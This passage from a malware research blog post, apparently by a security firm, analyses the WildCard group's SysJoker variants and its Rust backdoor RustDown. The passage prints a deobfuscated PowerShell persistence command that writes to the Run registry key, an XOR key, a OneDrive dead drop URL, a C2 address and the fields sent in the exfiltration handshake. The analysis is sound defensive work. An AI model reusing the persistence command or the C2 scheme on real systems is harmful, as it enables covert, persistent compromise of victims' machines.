&lt;/ul&gt;
&lt;p&gt;However, similar to the other WildCard malware, it also uses OneDrive as a dead
drop resolver. Also similar, AppMessagingRegistrar is downloaded from a server
inside a ZIP file and is executed by a
&lt;a href="https://analyze.intezer.com/files/96dc31cf0f9e7e59b4e00627f9c7f7a8cac3b8f4338b27d713b0aaf6abacfe6f?utm_campaign=research-blog&amp;amp;utm_content=wildcard-evolution-of-sysjoker-cyber-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;DLL file&lt;/a&gt;.
The DLL file masquerades as Brave Browser.&lt;/p&gt;
&lt;p&gt;Metadate of AppMessagingRegistrar executable:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Company: Brave Browser
Product: Brave Browser (4.0.1.5)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;RustDown: WildCard learns Rust&lt;span class="hx:absolute hx:-mt-20" id="rustdown-wildcard-learns-rust"&gt;&lt;/span&gt;
&lt;a href="#rustdown-wildcard-learns-rust" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;In October 2023, we discovered a new malware written in Rust. The sample is a
32-bit Windows executable masquerading as a PHP framework component. While the
codebase is new, the malware consistently shares TTPs used by the WildCard
threat actor in both SysJoker and its variants. The name of the malware is
derived from the developers, as evidenced by a leftover PDB path:&lt;/p&gt;
&lt;p&gt;– &lt;code&gt;C:\Code\Rust\RustDown-Belal\target\release\deps\RustDown.pdb&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/11/wildcard-evolution-of-sysjoker-cyber-threat/images/fig5.png" title="RustDown PDB file path." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;RustDown PDB file path.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;According to the PDB file the malware developers refer to this component as
RustDown. Additionally, the term &amp;ldquo;Belal&amp;rdquo; in the folder path may be a
transliteration of the common Arabic first name &amp;lsquo;Bilal&amp;rsquo;. We treat this as a
low-confidence indicator towards the identity of one of the WildCard
developers.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hash&lt;/th&gt;
&lt;th&gt;Compilation Timestamp&lt;/th&gt;
&lt;th&gt;Filename&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;d4095f8b2fd0e6deb605baa1530c32336298afd026afc0f41030fa43371e3e72&lt;/td&gt;
&lt;td&gt;7 Aug 2023 10:43:32&lt;/td&gt;
&lt;td&gt;php-cgi.exe&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href="https://analyze.intezer.com/files/d4095f8b2fd0e6deb605baa1530c32336298afd026afc0f41030fa43371e3e72?utm_campaign=research-blog&amp;amp;utm_content=wildcard-evolution-of-sysjoker-cyber-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;RustDown&lt;/a&gt;
is intended to look like a legitimate PHP executable named php-cgi.
&lt;a href="https://www.php.net/manual/en/install.unix.commandline.php"target="_blank" rel="noopener"&gt;PHP-CGI&lt;/a&gt; stands
for PHP Common Gateway Interface. Providing an important tool that allows PHP
to interact with a web server.&lt;/p&gt;
&lt;p&gt;Metadata of RustDown executable:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Company: The PHP Group
Product: PHP (7.4.19)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;As the name suggests, RustDown is a backdoor written in Rust and compiled for
Windows operating systems. It uses OneDrive as a dead drop resolver.&lt;/p&gt;
&lt;p&gt;RustDown implements multiple calls to the Sleep API using randomly chosen time
durations, as seen in SysJoker.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/11/wildcard-evolution-of-sysjoker-cyber-threat/images/fig6.png" title="Function in RustDown that implements the Sleep functionality." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Function in RustDown that implements the Sleep functionality.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Next, the backdoor copies the executable to another location and sets up
persistence by using a PowerShell command. Both the path and the PowerShell
command are obfuscated in an attempt to evade detection. After decrypting the
strings, we see that the malware copies itself to the following location,
keeping with the theme of the legitimate PHP CGI tool:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;C:\ProgramData\php-7.4.19-Win32-vc15-x64\php-cgi.exe&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Next, the malware decodes the PowerShell command that sets the registry value
for persistence:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;&amp;#34;powershell&amp;#34; -Command &amp;#34;$reg=[WMIClass]&amp;#39;ROOT\DEFAULT:StdRegProv&amp;#39;;$results=$reg.SetStringValue(&amp;#39;&amp;amp;H80000001&amp;#39;,&amp;#39;Software\Microsoft\Windows\CurrentVersion\Run&amp;#39;, &amp;#39;php-cgi&amp;#39;, &amp;#39;C:\ProgramData\php-7.4.19-Win32-vc15-x64\php-cgi.exe&amp;#39;);&amp;#34;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The general mechanism for interacting with the Current User Hive involves using
the identifier &lt;code&gt;&amp;amp;H80000001&lt;/code&gt; as described
&lt;a href="https://tfl09.blogspot.com/2011/09/using-powershell-and-wmi-to-manage.html"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.
However, the specific command string it uses appears to be unique and relates
to a separate campaign, referred to as
&lt;a href="https://www.clearskysec.com/iec/"target="_blank" rel="noopener"&gt;Operation Electric Powder&lt;/a&gt; described further
below.&lt;/p&gt;
&lt;h3&gt;Obfuscation&lt;span class="hx:absolute hx:-mt-20" id="obfuscation"&gt;&lt;/span&gt;
&lt;a href="#obfuscation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;As mentioned, the malware encrypts its own strings in two different ways. The
bulk of the remaining unobfuscated strings are artifacts of the static
compilation of Rust dependencies linked within the binary:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;base64-0.13&lt;/li&gt;
&lt;li&gt;curl-0.4.35&lt;/li&gt;
&lt;li&gt;rand-0.8.3&lt;/li&gt;
&lt;li&gt;rand_chacha-0.3.0&lt;/li&gt;
&lt;li&gt;rand_core-0.6.2&lt;/li&gt;
&lt;li&gt;rustc-demangle-0.1.21&lt;/li&gt;
&lt;li&gt;serde_json-1.0.64&lt;/li&gt;
&lt;li&gt;whoami-1.1.1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first type of obfuscation has the following scheme: first, decode the
string with a standard Base64 scheme, unlike the first variant of SysJoker, and
then decrypt the result with the following XOR key:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;QQL8VJUJMABL8H5YNRC9QNEOHA4I3QDAVWP5RY9L0HCGWZ4T7GTYQTCQTHTTN8RV6BMKT3AICZHOFQS8MTT&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The same XOR key was used by the DMAdevice variant of SysJoker.&lt;/p&gt;
&lt;p&gt;The malware decrypts additional strings using a XOR cipher, where each string
is processed against a distinct key stream. The specific key for each string is
determined by using fixed offsets from a table embedded within the malware’s
code, combined with a calculation involving hardcoded numerical values and
bitwise operations.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/11/wildcard-evolution-of-sysjoker-cyber-threat/images/fig7.png" title="Decryption of strings using unique key stream." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decryption of strings using unique key stream.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Communication With the C2&lt;span class="hx:absolute hx:-mt-20" id="communication-with-the-c2"&gt;&lt;/span&gt;
&lt;a href="#communication-with-the-c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The communication with the C2 starts with the decoding of a
&lt;a href="https://attack.mitre.org/techniques/T1102/001/"target="_blank" rel="noopener"&gt;dead drop resolver&lt;/a&gt;. This is
performed using the first decoding method and the hardcoded XOR key and Base64.
The backdoor sends an HTTP Get request to the following resolved URL:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;https://onedrive[.]live.com/download?resid=16E2AEE4B7A8BBB1%21112&amp;amp;authkey=!AED7TeCJaC7JNVQ&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The backdoor uses a custom user agent. This is similar to the earlier version
of SysJoker, which also communicated using a specific, hardcoded user agent:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We were able to get a response from the resolver:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;KnM5Sjpob2glNTY8AmcaYXt8cAh/fHZ&amp;#43;ZnUNcwdld2Mr&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The response is encoded using Base64 and XOR-ed with the same key that was used
in the previous step. The decrypted result is the IP address of the C2:
&lt;code&gt;{&amp;quot;url&amp;quot;:&amp;quot;http://85.31.231[.]49:443&amp;quot;}&lt;/code&gt;. During our investigation, we did not
find other C2 domains that were served by this OneDrive link.&lt;/p&gt;
&lt;p&gt;Next, the malware communicates with the C2 using the HTTP protocol. The URL is
formatted in the following way: &lt;code&gt;&amp;lt;C2 domain&amp;gt;/api/&amp;lt;command&amp;gt;&lt;/code&gt;. In RustDown, we
identified two commands attach and req.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/11/wildcard-evolution-of-sysjoker-cyber-threat/images/fig8.png" title="VirusTotal behavior analysis of RustDown showing the connection method to the C2." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal behavior analysis of RustDown showing the connection method to the C2.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Like the original version of Sysjoker, the RustDown will decode the C2 and send
the collected user’s information to the C2’s &lt;code&gt;/api/attach&lt;/code&gt; path as an initial
handshake. The information sent over has the following structure:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;&amp;#34;ip&amp;#34;:&amp;#34;[Local IP Address]&amp;#34;
&amp;#34;serial&amp;#34;:&amp;#34;[Host Name]_[Serial Number]_[Username]&amp;#34;
&amp;#34;name&amp;#34;:&amp;#34;[Username]&amp;#34;
&amp;#34;os&amp;#34;:&amp;#34;[Operating System Version]&amp;#34;
&amp;#34;user_token&amp;#34;:&amp;#34;[User Token]&amp;#34;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This differs from the fields used in SysJoker which included an unused ‘av’
field.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;&amp;#34;sn&amp;#34;: &amp;#34;[Serial Number]&amp;#34;
&amp;#34;us&amp;#34;: &amp;#34;[Username]&amp;#34;
&amp;#34;os&amp;#34;: &amp;#34;[Operating System Version]&amp;#34;
&amp;#34;av&amp;#34;: *Unused
&amp;#34;ip&amp;#34;: &amp;#34;[Local IP Address]&amp;#34;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;RustDown will send requests to the C2’s &lt;code&gt;/api/req&lt;/code&gt; path after registration,
similar to older versions. The response from the C2 is a JSON detailing an
array of tasks to perform. These instructions include actions along with
specific URLs to download a zip archive containing executables and save it at
&lt;code&gt;C:\ProgramData\php-Win32-lib&lt;/code&gt; with the filename specified in the JSON. To
unzip the payload, RustDown decryptes another PowerShell command.&lt;/p&gt;
&lt;h2&gt;Connections to Operation ElectricPowder&lt;span class="hx:absolute hx:-mt-20" id="connections-to-operation-electricpowder"&gt;&lt;/span&gt;
&lt;a href="#connections-to-operation-electricpowder" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the process of our investigation, we found an interesting set of connections
between the newer SysJoker variants (particularly the ‘DMA Device’) and
components of &lt;a href="https://www.clearskysec.com/iec/"target="_blank" rel="noopener"&gt;Operation ElectricPowder&lt;/a&gt;. The
latter was an attack that targeted the Israeli Electric Corporation (IEC) in
2016-2017. In both cases, the following specific string is deobfuscated during
execution and used to establish persistence.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;powershell&amp;#34;&lt;/span&gt; &lt;span class="n"&gt;-Command&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$reg&lt;/span&gt;&lt;span class="s2"&gt;=[WMIClass]&amp;#39;ROOT\DEFAULT:StdRegProv&amp;#39;;&lt;/span&gt;&lt;span class="nv"&gt;$results&lt;/span&gt;&lt;span class="s2"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$reg&lt;/span&gt;&lt;span class="s2"&gt;.SetStringValue(&amp;#39;&amp;amp;H80000001&amp;#39;,&amp;#39;Software\Microsoft\Windows\CurrentVersion\Run&amp;#39;, &amp;lt;process&amp;gt;, &amp;lt;path&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The general mechanism to resolve the Current User hive is described
&lt;a href="https://tfl09.blogspot.com/2011/09/using-powershell-and-wmi-to-manage.html"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.
However, the way the command string is implemented appears to be limited to
these malware sets, suggesting a developmental connection across nearly four
years.&lt;/p&gt;
&lt;p&gt;Additionally, once we discovered RustDown, we found that it also dynamically
resolves this PowerShell command string and uses it to achieve persistence.
This further strengthens the hypothesis that Operation ElectricPowder may have
been the earliest appearance of the WildCard threat actor.&lt;/p&gt;
&lt;h2&gt;Infection vectors&lt;span class="hx:absolute hx:-mt-20" id="infection-vectors"&gt;&lt;/span&gt;
&lt;a href="#infection-vectors" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In our publication of SysJoker, we suspected that the threat actors used an
infected npm package to deliver SysJoker. With the discovery of new versions,
we see that this pattern of masquerading as legitimate software continues among
all of the components of WildCard.&lt;/p&gt;
&lt;p&gt;Now with the DMAdevice, AppMessagingRegistrar variant, and Rustdown, we see a
pattern of using legitimate services to masquerade the malware. We can assume
WildCard uses phishing campaigns to convince victims to download their malware.&lt;/p&gt;
&lt;p&gt;As mentioned, part of WildCard’s operations share behavioral patterns with
Operation ElectricPowder. This malware also masqueraded as legitimate software
and used an elaborate and diverse phishing campaign, including decoy news sites
and Facebook profiles.&lt;/p&gt;
&lt;p&gt;If the connection between the two operations is solid, it supports WildCard’s
investment in extensive social engineering campaigns to reach their targets.
The early malware of Operation Electric Powder was poorly disguised as
legitimate Microsoft components. SysJoker variants were more elaborately
disguised as benign applications or web development components with names
reminiscent of TypeScript projects. The newest iteration follows in that web
development tool theme by disguising RustDown as a PHP CGI component. At this
time, we have not discovered the latest infection vector but feel that these
TTPs suggest possible targeting of developer communities in Israel with
trojanized applications.&lt;/p&gt;
&lt;p&gt;The detection of SysJoker traces back to a 2021 incident at an Israeli
educational institution. After analyzing the malware, we identified behavioral
patterns akin to those of another malware variant that previously targeted
Israeli infrastructure. This similarity points to a deliberate pattern of
victim targeting shared between the two types of malware.&lt;/p&gt;
&lt;h2&gt;Network infrastructure&lt;span class="hx:absolute hx:-mt-20" id="network-infrastructure"&gt;&lt;/span&gt;
&lt;a href="#network-infrastructure" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Another interesting TTP connecting different WildCard operations is the abuse
of benign web services as dead drop resolvers or C2 hosting. First-stage
components consistently reach out to services like GDrive or OneDrive to
receive text that is decoded into the address of the intended C2. The threat
actor has used a number of hosting providers to host their C2 infrastructure,
most recently Hostinger. During analysis, we found that the C2 is possibly
geofenced to respond only to IP addresses from Israel, further supporting our
sense of WildCard’s targeting.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;As we continue to monitor the threat landscape surrounding the ongoing
Israeli-Hamas war, it’s important to emphasize the existence of non-traditional
threat actors like WildCard that have slipped below the radar. At the time of
our initial discovery of SysJoker, we were missing the necessary components to
bring this threat actor into view fully. As additional variants were
discovered, we found connections to a notable earlier campaign targeting
electric power generation in Israel. More recently, the WildCard developers
have undertaken the popular move from C++ to Rust. Despite having to start
their project over in Rust, RustDown also shows the same specific traits as
newer SysJoker variants and older ElectricPowder components. Clustering these
different sets of activities showcases an APT group consistently targeting
Israeli critical sectors like education, IT infrastructure, and possibly
electric power generation active to this day.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I would like to extend my sincere gratitude to Juan Andres Guerrero-Saade and
Ryan Robinson for their contributions to the development and refinement of this
blog.&lt;/strong&gt;&lt;/p&gt;
